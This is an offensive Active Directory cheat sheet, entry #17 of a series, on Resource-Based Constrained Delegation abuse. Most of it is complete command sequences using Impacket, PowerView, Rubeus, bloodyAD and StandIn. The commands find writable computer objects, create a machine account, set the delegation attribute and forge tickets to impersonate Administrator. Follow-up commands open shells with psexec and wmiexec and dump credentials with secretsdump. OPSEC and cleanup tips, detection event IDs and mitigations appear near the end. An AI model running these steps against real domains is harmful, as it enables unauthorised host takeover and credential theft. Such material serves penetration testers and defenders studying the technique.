π Attack #17 β Resource-Based Constrained Delegation (RBCD)#
π How It Works#
Resource-Based Constrained Delegation (RBCD) flips traditional Constrained Delegation on its head. Instead of the delegating account specifying which services it can delegate to (via msDS-AllowedToDelegateTo), the target resource specifies which accounts are allowed to delegate to it (via msDS-AllowedToActOnBehalfOfOtherIdentity). This means anyone who can write to a computer object's attributes can configure RBCD on it β allowing a controlled account to impersonate any user to that computer.
Why RBCD is So Dangerous#
- No Domain Admin required to configure β only GenericWrite/GenericAll on the target computer
- MachineAccountQuota allows any domain user to create up to 10 computer accounts by default
- Combining write permissions + machine account creation = full compromise of the target host
The Full Attack Flow#
1. Identify a computer object where you have write permissions (GenericWrite/GenericAll)
2. Create a machine account you control (or use an existing one)
3. Set msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET computer
to trust your machine account
4. Use S4U2Self + S4U2Proxy from your machine account to impersonate
Administrator to the target computer
5. Access the target as Administrator (CIFS, HOST, LDAP, etc.)
βοΈ Prerequisites#
| Requirement |
Detail |
| Write permissions on target computer |
GenericWrite, GenericAll, WriteDACL, or specific write to msDS-AllowedToActOnBehalfOfOtherIdentity |
| Controlled machine account |
Create via MachineAccountQuota (default 10) or use existing compromised computer |
| Domain user account |
To create machine account and configure RBCD |
| Tool |
Platform |
Notes |
| Impacket β rbcd.py |
Linux |
Configure RBCD delegation |
| Impacket β addcomputer.py |
Linux |
Create machine accounts |
| Impacket β getST.py |
Linux |
S4U2Self + S4U2Proxy exploitation |
| Rubeus |
Windows |
S4U attack after RBCD configuration |
| PowerView |
Windows |
Write RBCD attribute on target |
| StandIn |
Windows |
.NET tool for RBCD manipulation |
| bloodyAD |
Linux |
All-in-one RBCD exploitation |
π» Full Commands#
π΅ Step 1 β Find Writable Computer Objects#
# ββ PowerView β find computers where you have write access ββββββββββββββββββββ
Find-InterestingDomainAcl -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL" -and
$_.ObjectClass -eq "computer" }
# ββ BloodHound Cypher query βββββββββββββββββββββββββββββββββββββββββββββββββββ
# MATCH p=(u:User {name:'LOW_USER@CORP.LOCAL'})-[r:GenericWrite|GenericAll]->(c:Computer) RETURN p
# ββ BloodHound.py β collect and analyze βββββββββββββββββββββββββββββββββββββββ
bloodhound-python -u low_user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zip
# Upload to BloodHound β "Find Shortest Paths to Domain Admins"
π΄ Step 2 β Create Machine Account#
# ββ Impacket β create machine account βββββββββββββββββββββββββββββββββββββββββ
addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# ββ Check MachineAccountQuota (default = 10) ββββββββββββββββββββββββββββββββββ
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Or:
ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \
-b "DC=corp,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota
# ββ PowerShell β create machine account βββββββββββββββββββββββββββββββββββββββ
Import-Module .\\Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password $(
ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force
)
# ββ Impacket β rbcd.py ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET$' \
-action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# ββ Verify ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
rbcd.py -delegate-to 'TARGET$' -action read \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# ββ bloodyAD ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
add rbcd 'TARGET$' 'FAKEMACHINE$'
# ββ PowerShell / PowerView ββββββββββββββββββββββββββββββββββββββββββββββββββββ
$ComputerSid = Get-DomainComputer FAKEMACHINE -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity TARGET$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# ββ StandIn βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\StandIn.exe --computer TARGET --sid <FAKEMACHINE_SID>
π΄ Step 4 β S4U Attack β Impersonate Administrator#
# ββ getST.py β S4U2Self + S4U2Proxy ββββββββββββββββββββββββββββββββββββββββββ
getST.py -spn cifs/TARGET.corp.local \
-impersonate Administrator \
-dc-ip 10.10.10.10 \
corp.local/'FAKEMACHINE$':'FakePass123!'
# ββ Use the ticket ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
export KRB5CCNAME=Administrator@cifs_TARGET.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
wmiexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@TARGET.corp.local
smbclient.py -k -no-pass corp.local/Administrator@TARGET.corp.local
# ββ Rubeus S4U ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# First get FAKEMACHINE's hash:
.\Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local
# rc4_hmac: <hash>
.\Rubeus.exe s4u \
/user:FAKEMACHINE$ \
/rc4:<FAKEMACHINE_HASH> \
/impersonateuser:Administrator \
/msdsspn:cifs/TARGET.corp.local \
/ptt
dir \\TARGET.corp.local\C$
π΄ Step 5 β Cleanup#
# ββ Remove RBCD configuration ββββββββββββββββββββββββββββββββββββββββββββββββ
rbcd.py -delegate-to 'TARGET$' -action flush \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# ββ Delete machine account (if desired) βββββββββββββββββββββββββββββββββββββββ
addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1' -delete
π― OPSEC Tips#
- RBCD is the most commonly exploited delegation type β no DA required, just GenericWrite on a computer
- MachineAccountQuota = 10 by default β almost always available for machine account creation
- Cleanup is critical β remove the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute and delete the machine account after exploitation
- Protected Users group blocks delegation β if Administrator is in Protected Users, impersonation will fail; target a different DA
π‘οΈ Detection β Event IDs#
| Event ID |
Source |
What to Look For |
| 5136 |
Security Log (DC) |
Modification of msDS-AllowedToActOnBehalfOfOtherIdentity |
| 4741 |
Security Log (DC) |
Computer account creation (MachineAccountQuota abuse) |
| 4769 |
Security Log (DC) |
S4U2Proxy TGS request |
| 4624 |
Security Log |
Network logon as impersonated user on target |
π Attack Chain Context#
[RBCD] βββ Compromise Any Computer You Can Write To
β
ββββ π GenericWrite on Computer β RBCD β impersonate DA β own that host
ββββ π» GenericAll (#19) β RBCD is one of the exploitation methods
ββββ π MAQ (#47) β create controlled machine accounts for RBCD
ββββ π Chain: ACL abuse β RBCD β DCSync (if target is DC)
ββββ π Defeated by: set MAQ=0, monitor 5136, Protected Users group
β
Attack #17 β RBCD complete.